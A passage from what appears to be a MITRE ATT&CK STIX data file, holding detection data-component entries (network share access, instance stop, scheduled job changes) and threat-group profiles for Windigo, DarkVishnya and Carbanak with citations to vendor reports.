Group](https://attack.mitre.org/groups/G0032) instead of tracking clusters or subgroups.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--f5468e67-51c7-4756-9b4f-65707708e7fa","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.275Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-20T15:05:19.275Z","name":"Network Share Access","description":"Opening a network share, which makes the contents available to the requestor (ex: Windows EID 5140 or 5145)","x_mitre_data_source_ref":"x-mitre-data-source--ba27545a-9c32-47ea-ba6a-cce50f1b326e","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--1361e324-b594-4c0e-a517-20cee32b8d7f","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.274Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-20T15:05:19.274Z","name":"Instance Stop","description":"Deactivation or stoppage of an instance (ex: instance.stop within GCP Audit Logs)","x_mitre_data_source_ref":"x-mitre-data-source--45232bc0-e858-440d-aa93-d48c6cf167f0","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Windigo"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--4e868dad-682d-4897-b8df-2dc98f46c68a","type":"intrusion-set","created":"2021-02-10T19:57:38.042Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0124","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0124"},{"source_name":"ESET Windigo Mar 2014","url":"https://www.welivesecurity.com/2014/03/18/operation-windigo-the-vivisection-of-a-large-linux-server-side-credential-stealing-malware-campaign/","description":"Bilodeau, O., Bureau, M., Calvet, J., Dorais-Joncas, A., Léveillé, M., Vanheuverzwijn, B. (2014, March 18). Operation Windigo – the vivisection of a large Linux server‑side credential‑stealing malware campaign. Retrieved February 10, 2021."},{"source_name":"CERN Windigo June 2019","url":"https://security.web.cern.ch/advisories/windigo/windigo.shtml","description":"CERN. (2019, June 4). 2019/06/04 Advisory: Windigo attacks. Retrieved February 10, 2021."}],"modified":"2021-04-26T22:32:57.046Z","name":"Windigo","description":"The [Windigo](https://attack.mitre.org/groups/G0124) group has been operating since at least 2011, compromising thousands of Linux and Unix servers using the [Ebury](https://attack.mitre.org/software/S0377) SSH backdoor to create a spam botnet. Despite law enforcement intervention against the creators, [Windigo](https://attack.mitre.org/groups/G0124) operators continued updating [Ebury](https://attack.mitre.org/software/S0377) through 2019.(Citation: ESET Windigo Mar 2014)(Citation: CERN Windigo June 2019)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["DarkVishnya"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"intrusion-set--813636db-3939-4a45-bea9-6113e970c029","type":"intrusion-set","created":"2020-05-15T13:07:26.651Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"external_id":"G0105","source_name":"mitre-attack","url":"https://attack.mitre.org/groups/G0105"},{"source_name":"DarkVishnya","description":"(Citation: Securelist DarkVishnya Dec 2018)"},{"source_name":"Securelist DarkVishnya Dec 2018","url":"https://securelist.com/darkvishnya/89169/","description":"Golovanov, S. (2018, December 6). DarkVishnya: Banks attacked through direct connection to local network. Retrieved May 15, 2020."}],"modified":"2021-10-12T22:10:04.107Z","name":"DarkVishnya","description":"[DarkVishnya](https://attack.mitre.org/groups/G0105) is a financially motivated threat actor targeting financial institutions in Eastern Europe. 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(2015, February). CARBANAK APT THE GREAT BANK ROBBERY. Retrieved August 23, 2018.","url":"https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064518/Carbanak_APT_eng.pdf"},{"url":"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html","description":"Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.","source_name":"FireEye FIN7 April 2017"},{"source_name":"Europol Cobalt Mar 2018","description":"Europol. (2018, March 26). Mastermind Behind EUR 1 Billion Cyber Bank Robbery Arrested in Spain. Retrieved October 10, 2018.","url":"https://www.europol.europa.eu/newsroom/news/mastermind-behind-eur-1-billion-cyber-bank-robbery-arrested-in-spain"},{"source_name":"Secureworks GOLD NIAGARA Threat Profile","url":"https://www.secureworks.com/research/threat-profiles/gold-niagara","description":"CTU. (n.d.). GOLD NIAGARA. Retrieved September 21, 2021."},{"source_name":"Secureworks GOLD KINGSWOOD Threat Profile","url":"https://www.secureworks.com/research/threat-profiles/gold-kingswood?filter=item-financial-gain","description":"Secureworks. (n.d.). GOLD KINGSWOOD. Retrieved October 18, 2021."},{"source_name":"Fox-It Anunak Feb 2015","description":"Prins, R. (2015, February 16). Anunak (aka Carbanak) Update. Retrieved January 20, 2017.","url":"https://www.fox-it.com/en/news/blog/anunak-aka-carbanak-update/"}],"modified":"2021-10-18T21:02:30.899Z","name":"Carbanak","description":"[Carbanak](https://attack.mitre.org/groups/G0008) is a cybercriminal group that has used [Carbanak](https://attack.mitre.org/software/S0030) malware to target financial institutions since at least 2013. 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While [Naikon](https://attack.mitre.org/groups/G0019) shares some characteristics with [APT30](https://attack.mitre.org/groups/G0013), the two groups do not appear to be exact matches.(Citation: FireEye APT30)(Citation: Baumgartner Golovkin Naikon 2015)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_domains":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"x-mitre-data-component--faa34cf6-cf32-4dc9-bd6a-8f7a606ff65b","type":"x-mitre-data-component","created":"2021-10-20T15:05:19.271Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2021-10-20T15:05:19.271Z","name":"Scheduled Job Modification","description":"Changes made to a scheduled job, such as modifications to the execution launch (ex: Windows EID 4702 or /var/log cron logs)","x_mitre_data_source_ref":"x-mitre-data-source--c9ddfb51-eb45-4e22-b614-44ac1caa7883","x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"aliases":["Orangeworm"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Elger Vinicius S. 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